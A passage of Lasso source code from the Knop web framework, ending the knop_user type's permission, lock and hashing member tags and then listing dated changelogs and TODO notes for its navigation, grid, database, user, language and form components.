find(#permission));\n\t\telse;\n\t\t\treturn(false);\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'setpermission', -description='Sets the user\\'s permission to perform the specified action (true or false, or just the name of the permission)',\n\t\t-required='permission',\n\t\t-optional='value';\n\t\tif(local_defined('value') && #value != false); // any non-false value is regarded as true\n\t\t\t(self -> 'permissions') -> insert(#permission=true);\n\t\telse(local_defined('value') && #value == false); // explicit false\n\t\t\t(self -> 'permissions') -> insert(#permission=false);\n\t\telse; // no value specified is regarded as true\n\t\t\t(self -> 'permissions') -> insert(#permission=true);\n\t\t/if;\n\t/define_tag;\n\n\n\tdefine_tag: 'addlock', -description='Called by database object, adds the name of a database object that has been locked by this user.',\n\t\t-required='dbname';\n\t\tif: (self -> 'dblocks') !>> #dbname && (var: #dbname) -> (isa: 'database');\n\t\t\t(self -> '_debug_trace') -> insert(tag_name + ': adding database name  ' + #dbname);\n\t\t\t(self -> 'dblocks') -> (insert: #dbname);\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'clearlocks', -description='Clears all database locks that has been set by this user';\n\t\tlocal: 'timer'=knop_timer; \n\t\tif: (self -> auth);\n\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': ' + (self -> 'dblocks') -> (join: ', '));\n\t\t\titerate: (self -> 'dblocks'), local: 'dbname';\n\t\t\t\tif: (var: #dbname) -> (isa: 'database');\n\t\t\t\t\t(var: #dbname) -> (clearlocks: -user=(self -> 'id_user'));\n\t\t\t\t\t#dbname = null;\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\t// remove all locks that has been cleared\n\t\t\t(self -> 'dblocks') -> (removeall: null);\n\t\t\t(self -> '_debug_trace') -> (insert: tag_name + ': done, remaining locks: ' + (self -> 'dblocks') -> (join: ', '));\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\n\tdefine_tag: 'encrypt', -description='Internal use. Encrypts the input using digest encryption, optionally with salt. ',\n\t\t-required='data', -copy,\n\t\t-optional='salt',\n\t\t-optional='cipher';\n\t\tlocal: 'output'=string;\n\t\t!(local_defined: 'cipher') ? local: 'cipher'=self -> 'encrypt_cipher';\n\t\tif: (local_defined: 'salt');\n\t\t\t#data = #salt + #data;\n\t\t/if;\n\t\tif: (Cipher_List: -digest) !>> #cipher;\n\t\t\t// fall back to default digest cipher\n\t\t\t#cipher = 'MD5';\n\t\t/if;\n\t\t#output = (cipher_digest: #data, -digest=#cipher, -hex);\n\t\treturn: #output;\n\t/define_tag;\n\t\n\tdefine_tag: 'keys', -description='Returns all keys for the stored user data';\n\t\treturn: (self -> 'data') -> keys;\n\t/define_tag;\n\n/define_type;\n\n\n\n?>\n[\n//------------------------------------------------------------------\n//    End knop_user\n//------------------------------------------------------------------\n\n//##################################################################\n\n][define_tag('changenotes', -description='This tag is created on the fly by buildnamespace.lasso',\n\t\t-namespace='knop_',\n\t\t-optional='type', -optional='date', -copy);\n\t\tlocal('output'=string, 'changenotes'=map('knop_nav'='2010-11-17\tJC\tFixed bug so that session links no longer gets added to urls by the nav -> url tag.\n2010-11-17\tJC\tFixed a bug that would not convert local params to an array under certain situations\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-09-04\tJS\t->linkparams: Multiple paramaters with the same name (typically checkboxes) are now passed properly\n2009-05-06\tJS\t->directorytree considers _include folders as part of the Knop directory structure. nav->include(\\'_include/myfile.inc\\') will first look for _include/myfile.inc and if not found it will look for _knop/_include/myfile.inc \n2009-05-05\tJS\t->include looks for a specified file also inside a _knop folder, if the file does not exist at the specified location\n2009-02-09\tJS\t->filename: Casting path and actionpath to string\n2008-12-19\tJS\t->filename (and consequently ->include and ->library) can now use a specific -path instead of the current location\\'s path\n2008-12-09\tJS\t->linkparams: fixed undefined local in trace call (only showed when trace was enabled for the nav object)\n2008-11-25\tJS\t->getlocation will now avoid disabled and hidden pages when looking for the first page if no default page is specified\n2008-11-03\tJS\t->getlocation will not break if no navigation items have been defined\n2008-10-30\tJS\t_mod folders will now work with knop paths with just a single level, so an include file path can end up as _mod_customer/lib_customer.inc or just _mod_customer/lib.inc (the latter variant does not apply to extension-based filenaming, so _mod_customer/.lib will never be a working file path)\n2008-07-10\tJS\tAdded -> label to return the name of the current page\n2008-05-20\tJS\t->renderhtml: #current# is not automatically added to the template if the more elaborate template format is used. This makes it easier to hide the currentmarker without changing the nav config (partial revert of fix 2008-01-04). \n2008-05-08\tJS\t->insert: A duplicate key does no longer cause a fatal error but instead fails silently and logs to the debug log\n2008-05-07\tJS\t->url: will now call ->linkparams so all links that are constructed from ->url will properly send along the parameters specified in the nav item. This also affects pagination and sort links in grid. \n2008-05-07\tJS\tAdded ->linkparams, Returns an array for all parameters that should be sent along with nav links (this was previously embedded in renderhtml)\n2008-02-25\tJS\t->url: new parameter -getargs to add the getargs to the path link if the path equals the current path\n2008-02-06\tJC\t->insert: the -hide flag can now be a boolean (also the -disabled flag)\n2008-02-03\tJS\t->include: can now include any specified filename\n2008-02-01\tJS\t->oncreate: added optional -fileroot to be able to use a root for files that is different from the logical site root used for navigation \n2008-01-23\tJS\t->url: Added -autoparams that is required to enable the automatic passing of action_params that begin with \"-\" (this reverts the default behavior to match the the old)\n2008-01-22\tJS\t->url: GET params that begin with \"-\" are sent as parameters on links. -path, -sort, -desc, -q are explicitly excluded from nav links in renderhtml. \n2008-01-22\tJS\tWhen using param based navigation, navigation links now use much cleaner /?path/to/page/ style links instead of /?-path=path/to/page/\n2008-01-22\tJS\t->getlocation: when navmethod is param, the path can now be sent as unnamed parameter insetad of -path parameter (such as /?path/to/page/). \n2008-01-04\tJS\t->renderbreadcrumb: added flag -plain to output breadcrumb without html\n2008-01-04\tJS\t->renderbreadcrumb: added flag -skipcurrent to not include the current location in the output\n2008-01-04\tJS\t->insert: -template can now be specified also for individual nav items. Use the form #link##label##current##/link##children#. \n2008-01-04\tJS\t->renderhtml: changed #title# to #label# in template for clarity, for example #link##label##current##/link##children# (#title# will remain supported)\n2008-01-04\tJS\tAdded #current# as placeholder for template, to specify where the current marker should occurr. If not specified in the template, the current marker appears immediately after the label.\n2007-12-12\tJS\t->include now logs processing time for the include to debug trace\n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-12-04\tJS\tnav item css class is now applied also to disabled nav items (rendered as <span>)\n2007-11-08\tJS\tChanged trace so it tracks some things even when it\\'s not enabled (like include etc)\n2007-11-05\tJS\tAdded var name to trace output\n2007-10-28\tJS\t->directorytree: should now work also when knop folders are symlinks\n2007-09-06\tJS\ttop level nav elements that are -disabled now behave properly when accessed\n2007-09-05\tJS\t-currentmarker can now be set separately on sublevels, not only on topmost level\n2007-08-29\tJS\tAdded _knop as optional base folder to put all knop files in\n2007-08-29\tJS\t->include: Removed file_exists check since the filename has already been verified in ->filename.\n2007-08-29\tJS\tAdded ->directorytree which returns a map with all knop filenames, to use when searching for includes\n2007-08-28\tJS\t->oncreate: -filenaming to specify how include files are named prefix/suffix/extension\n2007-08-28\tJS\t->filename: Implemented support for flexible folder structures\n2007-08-28\tJS\tInstance variable #actionconfigfile_didrun was not properly declared\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-14\tJS\t->insert: -url=\\'/\\' can now be used to specify the \"home\" location. \n2007-06-13\tJS\tadded ->children to get a reference to the children nav object for a specified path, so new children can be inserted. Must call ->reindex afterwards. \n2007-06-13\tJS\tadded ->reindex to rebuild the index maps from scratch. Must be done after adding children items. \n2007-06-13\tJS\tadded ->addchildren to replace a current children nav object for a specified path. Will handle the reindexing transparently. \n2007-06-13\tJS\tadded ->keymap, ->pathmap and ->urlmap to access the index maps so they call reindex if they have been invalidated (for example by ->addchildren)\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-11\tJC\tadded handling of xhtml output\n2007-06-08\tJS\t->insert: params with empty values are now ignored\n2007-05-04\tJS\t->insert: added check that default item exists in children before storing the default\n2007-04-19\tJS added ->data to retrieve data stored for the current path (or specified path). Optional -type ensures the returned data has the correct type. \n2007-04-19\tJS ->insert: added -data to store arbitrary data object for each path. The object is stored as reference so a variable can be changed after it has been added to the nav object\n2007-04-19\tJS\tadded ->patharray to return the current path as array\n2007-04-17\tJS\t->renderhtml: template now supports #link##title##/link##children# in addition to #item# to provide more flexibility\n2007-04-17\tJS\t->oncreate: added support for -template, -class, currentclass and -currentmarker\n2007-04-13\tJS\tImplemented -class per navitem (only worked globally with setformat before)\n2007-04-03\tJS\t->renderhtml: added -renderpath, -expand and -flat to be able to render parts of the nav menu for more flexible layout\n2007-04-03\tJS\t->renderbreadcrumb: added -home to show the default navigation item first in the breadcrumb \n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-03-01\tJS\tChanged navmethod path so it uses response_filepath instead of $url_path\n2007-02-25\tJS\tAdded ->actionpath\n2007-02-24\tJS\t->renderhtml: improved handling of classes in nav links\n2007-02-22\tJS\t->url: added -except\n2007-02-09\tJS\t->url: corrected the behavior for plain parameters passed to the tag\n2007-02-05\tJS\t->insert: Added -param to be able to specify params that should be propagated in nav for certain nav elements (like -keyvalue to be able to move between different subtabs for a selected record\n2007-02-05\tJS\t->renderhtml now use ->url to get the right links\n2007-02-01\tJS\tMade usage of trace optional to improve performance\n2007-02-01\tJS\tImprovements to debug_trace to log also recursive events\n2007-02-01\tJS\tAdded ->haschildren, which is now used by ->renderhtml to properly show or hide child level\n2007-01-31\tJS\t->renderhtml Added renderhtml_levels to keep track of how many levels deep navigation has been rendered, to be able to add proper spacing between navigation and content\n2007-01-31\tJS \t->url: -urlargs  Improved handling of urlargs and ?/& delimiters, should work better with navmethod path\n2007-01-30\tJS\tRemoved automatic link title attribute since it can be confusing to show children page titles there\n2007-01-30\tJS\tCorrected parameter path to -path (bug)\n2007-01-23\tJS\t->include: \\'config\\' checks if the same config has already run as actionconfig and won\\'t run again in that case\n2007-01-23\tJS\t->include checks if the file exists first, so no need for empty placeholder files\n2007-01-23\tJS\tAdded ->include and ->library\n2007-01-23\tJS\tAdded ->setlocation\n2007-01-17\tJS\tAdded insert: -hide to allow a location without showing it in navigation\n\nTODO\nAdd support for compound expressions for template. The expression could return a map that would override corresponding param values. \n->insert: Add -raw to be able to inject code into the link tag, similar to form->addfield(-raw). \nExclude file name for example index.lasso from getargs\nOptimize nav->url! Very slow with complex nav object. \nNeeds to exclude also -keyfield and -lockfield. Maybe better to add an option to ->url to not auto-add any \"-\" params at all. \n-params are not sent along in breadcrumb links\nNeed simple way to exclude certain \"-\" params from ->url, also in config per nav item\nAdd support for adding nav structure from a database\nMove templates to a member tag to be make it easier to subclass\nMake it possible to use external URL for -url (make sure there is no / before http)\n\n','knop_base'='2009-09-14\tJS\tSyntax adjustments for Lasso 9\n2009-09-04\tJS\tChanged $__html_reply__ to content_body\n2009-04-07\tJS\t->error_msg: custom error numbers can now be added, even if the language already exists.\n2008-01-10\tJS\t->error_msg: improved reporting of custom error messages such as from bad database queries\n2007-12-13\tJS\tAdded -> error_lang to provide a reference to the knop_lang object for error messages, to be able to add localized error messages to any Knop type (except knop_lang and knop_base)\n2007-12-12\tJS\tAdded -html and -xhtml to ->help to get a nicely formatted output. \n2007-12-11\tJS\tCentralized ->error_code and ->error_msg to knop_base. Moved all error codes to error_msg\n2007-12-06\tJS\tChanged ->help to improve the self-documentation. It will now always return an up to date list of member tags and parameter. \n2007-11-05\tJS\tAdded var name to trace output\n2007-06-17\tJS\tAdded ->tagtime (was in nav earlier)\n2007-06-13\tJS\tAdded -> varname to be able to retreive the name of the page variable that a type instance is stored in.\n2007-06-13\tJS\tAdded -> xhtml to automatically sense if an xhtml doctype exists in the current page buffer. The result is cached in a page variable for performance. \n\t\t\t\tThis is for internal use for member tags that output html. \n2007-06-13\tJS\tIntroduced page variable $_knop_data for general page level storage and caching, common between different knop objects. \n2007-06-13\tJS\tCreated the data type\n\nTODO: ->help: add output option to format for Google Code Wiki\n->xhtml is not working properly when site is run by atbegin handler and explicitly writing to content_body \n\n\n','knop_grid'='2011-01-01\tSP\tCorrection of invalid HTML in <thead> and <tr>\n2010-12-23\tSP\tCorrected pagination bug for -numbered.\n2010-11-17\tJC\tAdded -startwithfooter flag to grid->renderhtml.  This moves the footer before the column titles in the table header.\n2010-11-17\tJC\tChanged rawheader inclusion to work even if there\\'s no quicksearch for a grid\n2010-05-14\tJC\tAdded span separation on grid footer for better styling\n2010-03-06\tSP\tChanged default behavior of ->sortparams and ->quicksearch with -sql to add backticks between the table and column names.  Now JOINs may be used.\n2010-03-06\tSP\tAdded ->sortparams and ->quicksearch with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.\n2010-01-27\tJC\tAdjusted the id support\n2010-01-25\tJC\tAdded support for optional id, used by table, quicksearch and quicksearch_reset\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-08-26\tJS\tCorrected prev/next links when no nav is defined for the grid object\n2009-06-29\tJS\t->renderlisting: documentation correction (renderlisting never calls renderfooter). \n2009-01-11\tJS\t->renderlisting: Made sure that template isn\\'t applied on NULL field values since that would cause an error with ->replace \n2008-12-29\tJC\tSupport for optional classes in table header\n2008-11-27\tJC\t-> implemented support for td specific classes. The class is inserted in both the TH and TD tag for the specified field\n2008-09-24\tJS\t->sortparams: fieldnames specified by the -sort parameter are now validated so they exist in the database\n2008-09-24\tJS\t->sortparams, ->quicksearch: Added protection against backtick sql injection in MySQL object names\n2008-09-10\tJS\t-numbered can now be specified at oncreate in addition to  ->renderhtml and ->renderfooter. \n2008-09-08\tJS\t->sortfield changed so defaultsort is honored even if -nosort is specified (-nosort is only used to prevent the user from changing sort order on the fly)\n2008-09-08\tJS\t->renderlisting and ->renderfooter optimized by caching the result of nav->url. \n2008-05-15\tJS\t->renderfooter: minor adjustment to numbered pagination links\n2008-05-14\tJS\t->renderfooter (and ->renderhtml): added -numbered as option to get google style numbered pagination links. Render the grid with -numbered (defaults to show 6 page number links plus the far ends) or -numbered=10 or another number. \n2008-05-13\tJS\tAdded ->renderlisting which is now part of ->renderhtml for more flexibility\n2008-02-25\tJS\t->renderheader and ->renderfooter calls nav -> url with -getargs \n2008-01-22\tJS\t->renderheader, ->renderfooter, ->renderhtml: addded -autoparams to nav -> url used in links since url was changed to default to no autoparams. \n2008-01-22\tJS\t->renderheader, ->renderfooter, ->renderhtml: improved support for param based navigation method  in links, cleaned up linking to use nav -> url instead of self -> urlparams when nav is available\n2008-01-22\tJC\t->quicksearch: Changed wordseparators so that \\\\r and \\\\n aren\\'t placed as \\\\r\\\\n, otherwise they are treated as a single character by ->split. \n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-12-03\tJS\tAdded optional -language parameter to set the initial language for the grid object\n2007-12-03\tJS\tAdded -> lang to provide a reference to the knop_lang object that is used for localized strings\n2007-12-03\tJS\tAdded localized strings for English and Swedish\n2007-12-03\tJS\tAdded knop_lang to handle localized strings\n2007-11-11\tJC\tAdded optional -rawheader for extra header content to be inserted before the Quicksearch form\n2007-10-23\tJS\t->renderheader: added class=\"grid\" to the opening table tag to be able to isolate the css specifications\n2007-10-03\tJS\t->renderfooter: added unique classes for each type of prev/next link to be able to replace with images using css\n2007-10-03\tJS\t->renderfooter: Changed prev/next link texts to simple |< << >> >| instead of unicode glyphs\n2007-09-20\tJS\tPostparams are only sent along for nav params (not \"-\" params)\n2007-09-07\tJS\tAlso send postparams along in prev/next links (not only getparams)\n2007-09-06\tJS\tIf nav has params defined, those params will be sent along with prev/next links\n2007-09-06\tJS\tAdded encode_url for link params\n2007-09-06\tJS\tChanged -action to -formaction in the quicksearch form\n2007-08-08\tJS\t->urlargs: Added exception for -session\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-11\tJC\tadded handling of xhtml output\n2007-05-30\tJS\t->quicksearch: added \\\\r and \\\\n as word separators. \n2007-05-03\tJS\t->addfield: Added check for empty dbfield name before adding to dbfieldmap\n2007-04-19\tJS\t->quicksearch: added  -value (flag) that makes quicksearch output just the value of the quicksearch field instead of a query\n2007-04-13\tJS\t->oncreate: added -nosort as global flag (overrides column specific sort options)\n2007-04-13\tJS\t->renderfooter: Added tbody to footer to make it pass validation, but it\\'s still not semantically correct. \n2007-04-13\tJS\tChanged field type for quicksearch for non-WebKit based browsers\n2007-04-10\tJS\t->quicksearch: Added @ as word separator for \"word begins with\" search\n2007-04-10\tJS\t->quicksearch: Added -contains as option to perform a simple contains search instead of emulating \"word begins with\" search\n2007-04-10\tJS\t->renderheader: When grid has a defaultsort, there should be no \"unsort\" option in the sortable headings\n2007-04-10\tJS\t->insert: (-defaultsort=\\'desc\\') or (-defaultsort=\\'descending\\') makes the default sort order sort in descending order\n2007-04-04\tJS\t->addfield: -template can now also be a compound expression\n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-03-01\tJS\tAdded support for FileMaker with quicksearch (untested)\n2007-03-01\tJS\tChanged all texts to English\n2007-02-07\tJS\tRemoved classs=\"first\" and class=\"notopborder\" since CSS border-collapse: collapse; eliminates the need\n2007-02-05\tJS The -keyvalue parameter for url edit links can be given another name by specifying -keyparamname in addfield\n2007-01-31\tJS\t->addfield: #value# can be used in -url, as a way to provide mailto links etc in lists\n2007-01-30\tJS\tSortable columns now thave three states instead of two: sorted ascending, sorted descending and unsorted. \n2007-01-30\tJS\tImprovements to quicksearch, to emulate \"word begins with\"  searches\n2007-01-26\tJS\tAdded support for quicksearch field in grid header. Specify -quicksearch at ->oncreate, and tell what fields to search by specifying -quicksearch for those fields at ->addfield. \n\t\t\t\tFields can be search only (no display) by leaving out name and label. All specified fields are searched word for word of thew search string. \n\t\t\t\tUse ->quicksearch to get the search parameters (optionally -sql)\n2007-01-26\tJS\tAdded ->urlargs to get a querystring with all \"-\" GET params, except those in optional -except string or array parameter. \n2007-01-22\tJS\tAdjustments to highlighting and \"(redigera)\"-link for records with empty values in the linked field\n2007-01-19\tJS\tAdded href titles to sort links and prevnext links\n2007-01-19\tJS\tCorrected sortparams when no sortfield is specified\n2007-01-19\tJS\tAddded go to first page, go to last page in footer\n2007-01-19\tJS\tAdded member tag page_skiprecords to help correcting out of bounds page numbers\n2007-01-19\tJS\tAdded member tag lastpage\n2007-01-18\tJS\tSupport for highlighting of affected record after edit or update (class name \"highlight\")\n2007-01-17\tJS\tAdded addfield: -template\n\nTODO\nMake it possible for knop_grid to work independently of a knop_database object so other types of listings can bre created. \nLanguage of quicksearch buttons can\\'t be changed after the grid has been created\ntbody is used in renderfooter, which is not semantically correct. can\\'t use tfoot though since the footer is rendered twice. \nMove templates to a member tag to be make it easier to subclass\nChange ->addfield to ->insert and make ->addfield deprecated\n\n','knop_database'='2012-06-10\tSP\tFix for decimal precision bug in 8.6.0.1 in renderfooter.\n2012-01-15\tSP\tAdd support for inline host method.  Thanks to Ric Lewis.\n2010-11-23\tJS\t->settable: removed reference for -table\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-06-26\tJS\t->nextrecord: Added deprecation warning\n2009-05-15\tJS\t->field: corrected the verification of the -index parameter\n2009-01-09\tJS\tAdded a check before calling resultset_count so it will not break in Lasso versions before 8.5\n2009-01-09\tJS\t->_unknowntag: fixed incorrect debug_trace\n2008-12-03\tJS\t->addrecord: improved how keyvalue is returned when adding records\n2008-12-03\tJS\t->addrecord: inserting a generated keyvalue can now be suppressed by specifying -keyvalue=false\n2008-12-03\tJS\t->saverecord and ->deleterecord will now use the current keyvalue (if any), so -keyvalue will not have to be specified in that case. \n2008-11-25\tJS\t->field and ->recorddata will no longer touch current_record if it was zero\n2008-11-24\tJS\t->field: Added -index parameter to be able to access any occurrence of the same field name\n2008-11-24\tJS\tAdded -> records that returns a new data type knop_databaserows\n2008-11-24\tJS\t->resultset_count: added support for -inlinename. \n2008-11-24\tJS\tChanged ->nextrecord to ->next. ->nextrecord remains supported for backwards compatibility.\n2008-11-14\tJS\t->nextrecord resets the record pointer when reaching the last record\n2008-11-13\tJS\t->recorddata now honors the current record pointer (as incremented by -nextrecord)\n2008-11-13\tJS\t->recorddata: added -recordindex parameter so a specific record can be returned instead of the first found.\n2008-10-30\tJS\t->getrecord now REALLY works with integer keyvalues (double oops) - I thought I fixed it 2008-05-28 but misplaced a paren...\n2008-09-26\tJS\tAdded -> resultset_count corresponding to the same Lasso tag, so [resultset]...[/resultset] can now be used through the use of inlinename.\n2008-09-10\tJS\t-> getrecord, ->saverecord, ->deleterecord: Corrected handling of lock user to work better with knop_user\n2008-07-09\tJS\t->saverecord: -keeplock now updates the lock timestamp\n2008-05-28\tJS\t->getrecord now works with integer keyvalues (oops)\n2008-05-27\tJS\t->get returns a new datatype knop_databaserow \n2008-05-27\tJS\tAdded ->size and ->get so a database object can be iterated. When iterating each row is returned as an array of field values. \n2008-05-27\tJS\tAddedd ->nextrecord that increments the recordpointer each time it is called until the last record in the found set is reached. Returns true as long as there are more records. Useful in a while loop - see example below\n2008-05-27\tJS\tImplemented record pointer \\'current_record\\'. The record pointer is reset for each new query. \n2008-05-27\tJS\t->field: added -recordindex to get data from any record in the current found set\n2008-05-27\tJS\tAdded ->_unknowntag as shortcut to field\n2008-05-26\tJS\tRemoved onassign since it causes touble\n2008-05-26\tJS\tExtended field_names to return the field names for any specified table, return field names also for db objects that have never been used for a database query and optionally return field types\n2008-01-29\tJS\t->getrecord now supports -sql. Make sure that the SQL statement includes the relevant keyfield (and lockfield if locking is used). \n2008-01-10\tJS\t->capturesearchvars: error_code and error_msg was mysteriously not set after database operations that caused errors. \n2008-01-08\tJS\t->saverecord: added flag -keeplock to be able to save a locked record without releasing the lock\n2007-12-15\tJS\tAdding support for knop_user in record locking is in progress. Done for ->oncreate and ->getrecord. \n2007-12-11\tJS\tMoved error_code and error_msg to knop_base\n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-12-10\tJS\tAdded ->settable to be able to copy an existing database object and properly set a new table name for it. Faster than creating a new instance from scratch. \n2007-12-03\tJS\tCorrected shown_first once again, hoping it\\'s right this time\n2007-11-29\tJS\tAdded support for field_names and corresponding member tag ->field_names\n2007-11-05\tJS\tAdded var name to trace output\n2007-10-26\tJS\t->capturesearchvars: corrected shown_first when no records found\n2007-10-26\tJS\t->oncreate: added default value \"keyfield\" if the -keyfield parameter is not specified\n2007-09-06\tJS\tCorrected self -> \\'tagtime\\' typo\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-11\tJC\tadded handling of xhtml output\n2007-05-30\tJS\tChanged recordid_value to keyfield_value and -recordid to -keyvalue\n2007-05-28\tJS\t->oncreate: Added clearing of current error at beginning of tag\n2007-04-19\tJS\tCorrected the handling of -maxrecords and -skiprecords for SQL selects that have LIMIT specified\n2007-04-19\tJS\tImproved handling of foundrows so it finds any whitespace around SQL keywords, instead of just plain spaces\n2007-04-18\tJS\t->select now populates recorddata with all the fields for the first found record. Previously it only populated recorddata when there was 1 found record. \n2007-04-12\tJS\t->oncreate: Added authentication inline around Database_TableNames../Database_TableNames\n2007-04-10\tJS\t->oncreate: Improved validation of table name (table_realname can sometimes be null even for valid table names)\n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-02-02\tJS\tImproved reporting of Lasso error messaged in error_msg\n2007-01-30\tJS \tAdded real error codes and additional error data for some errors (like record locked)\n2007-01-30\tJS\tChanged -keyvalue parameters to copy value instead of pass as reference, to not cause problems when using keyvalue from the same db object as is being updated, for example $db->(saverecord: -keyvalue=$db->keyvalue)\n2007-01-26\tJS\tAdjusted affectedrecord_keyvalue so it\\'s only captured for -add and -update\n2007-01-23\tJS\tSupports -uselimit (or querys that use LIMIT) and still gets proper searchresult vars (using a separate COUNT(*) query) - may not always get the right result for example for queries with GROUP BY\n2007-01-23\tJS\t-keyfield can be specified for saverecord to override the default\n2007-01-23\tJS\tChanged name of ->updaterecord to ->saverecord\n2007-01-23\tJS \tFixed bug where keyfield was missing as returnfield when looking up locked record for deleterecord\n2007-01-23\tJS\tAdded ->field\n2007-01-19\tJS\tAdded maxrecords_value and skiprecords_value to searchresultvars\n2007-01-18\tJS\tAdded affectedrecord_keyvalue to make it possible to highlight affected record in record list (grid)\n\n\nTODO:\nAllow -keyfield to be specified for ->addrecord and ->deleterecord\nAdd some Active Record similar functionality for editing\nLook at making it so -table can be set dynamically instead of fixed at oncreate, to eliminate the need for one db object for each table. This can cause problems with record locks and how they interact with knop_user \ndatetime_create and datetime_mod, and also user_create and user_mod.\n\tUse default field names but allow to override at oncreate, and verify them at oncreate before trying to use them. \n\n\n','knop custom tags in util.inc'='\t2007-06-17\tJS\tCreated the type\n\t\n\t','knop_user'='2012-01-16\tSP\tAdded ->removedata to remove field from the data map.  Thanks to Ric Lewis.\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-06-23\tJS\t->encrypt now uses default encrypt_cipher from the custom type instead of a hard coded default\n2009-02-26\tJS\t->login: further correction on the search for login with FileMaker, to reduce the risk for false duplicates\n2009-02-26\tJS\t->login: Added optional -searchparams to be able to add more conditions to the login search, for example to exclude users that are not enabled. \n2008-12-02\tJS\t->encrypt: Changed to -hex cipher instead of encode_base64\n2008-11-05\tJS\t->getdata: corrected a check that prevented the tag from returning anything\n2008-11-05\tJC\t->login: A failed login attempt now results in a logout instead of keeping any old authentication\n2008-11-05\tJC\t->getpermission will always return falseif a user is not logged in\n2008-11-05\tJC\t->logout: The permissions map is now cleared when logging out\n2008-11-04\tJC\t->encrypt: changed incorrect encrypt_cipher to encrypt_digest\n2008-09-10\tJS\tAdded ondeserialize to make client_fingerprint_expression survive session\n2008-07-17\tJS\tImplemented ->setpermission and ->getpermission\n2008-07-17\tJS\tAdded client_fingerprint_expression as compound expression so it can be configurable by changing the instant variable\n2008-05-20\tJS\t->login: Added delay between more than 5 failed login attempts \n2008-05-08\tJS\t->login: improved the search for FileMaker datasources to make it work for email address as username\n2008-02-08\tJS\tAdded ->keys\n2008-02-03\tJS\t-> login: Corrected storage of id_user\n2007-11-27\tJS\tCoded an incomplete version\n2007-06-13\tJS\tCreated the data type\n\n// TODO: \nMake it possible for knop_user to work independently of a knop_database object by creating a custom user lookup - see http://listsearch.com/Lasso/Thread/index.lasso?20528\nuserdb reference is brooken, probably when stored in session. Can this be fixed?\nMake client_fingerprint configurable by specifying a compound expression at oncreate\nAdd support for role based permisions\n\n','knop_lang'='2010-12-29\tJS\t->getstring: make sure we only try to do replacement in strings or bytes\n2010-05-27\tJS\tgetstring now works also with empty -replace value\n2010-04-20\tJS\tgetstring debug output corrected for missing string. \n2009-09-16\tJS\tSyntax adjustments for Lasso 9\n2009-06-26\tJS\t->addstring: clarified deprecation warning\n2009-04-08\tJS\tAdded -debug flag to oncreate (when creating a lang object) to make undefined language keys appear as *key*.\n2009-03-24\tJS\t->getstring prevents replacements if there is no language string found, to prevent null->replace error\n2008-11-12\tJS\tAdded ->insert instead of ->addstring for better consistency with other Lasso data types. ->addstring will remain functional for backwards compatibility. \n2008-09-11\tJS\t->_unknowntag: added missing support for -language\n2008-01-22\tJS\t->getstring: corrected the fallback behavior when a current language has been set \n2008-01-07\tJS\tRemoved instance variable browserlanguage due to problems with transient storage. The browserlanguage is cached on page level so it\\'s no loss in reality. \n2007-12-12\tJS\tAdded page level storage of currentlanguage, so all knop_lang instances defaults to the same language once one of them have set a language explictly, but only if the other knop_lang instances don\\'t have a language set explicitly. \n2007-12-12\tJS\tAdded page level caching of browser language (stores the value in $_knop_data map)\n2007-12-06\tJS\tMoved -> help to knop_base\n2007-12-06\tJS\tAdded ->description to all member tags. \n2007-12-03\tJS\tFinished first complete version\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-13\tJS\tRenamed to knop_lang (formerly knop_strings)\n2007-04-04\tJS\tCreated the data type and started coding\n\nTODO:\nProvide methods to handle formatting of dates, numbers, currency etc for different languages/locales. \nWeekday names, month names etc. \nMember tag to return the current language\nMember tag to set default output encoding unless it follows encode_set. \n\nExamples\n\tvar: \\'lang_messages\\'=(knop_lang: -default=\\'en\\');\n\t$lang_messages -> (insert: -key=\\'welcome\\', -value=\\'Welcome to the home page\\', -language=\\'en\\');\n\t$lang_messages -> (insert: -key=\\'welcome\\', -value=\\'Välkommen till hemsidan\\', -language=\\'sv\\');\n\t$lang_messages -> (insert: -key=\\'loggedin\\', -value=\\'You are logged in as #1# #2#\\', -language=\\'en\\');\n\t$lang_messages -> (insert: -key=\\'loggedin\\', -value=\\'Du är inloggad som #1# #2#\\', -language=\\'sv\\');\n\n\t// proper call, defaults to the browser\\'s preferred language\n\t$lang_messages -> (getstring: \\'welcome\\');\n\t// shorthand call\n\t$lang_messages -> welcome;\n\n\t// change language\n\t$lang_messages -> (setlanguage: \\'sv\\');\n\t$lang_messages -> welcome;\n\n\t// proper call with replacements\n\t$lang_messages -> (getstring: -key=\\'loggedin\\': -replace=(array: (field: \\'firstname\\'), (field: \\'lastname\\')));\n\n\t// shorthand call with replacements\n\t$lang_messages -> (loggedin: -replace=(array: (field: \\'firstname\\'), (field: \\'lastname\\')));\n\n\n','knop_form'='2011-02-28\tJS\t->addfield: Added -template to specify field specific template \n2010-11-22\tSP\t->init: Correction of -lockvalue handling after L9 syntax adjustment\n2010-07-18\tSP\tAdded support for series for -options\n2010-06-10\tJS\t->renderform: avoid adding -upload parameters to post forms since it conflicts with file 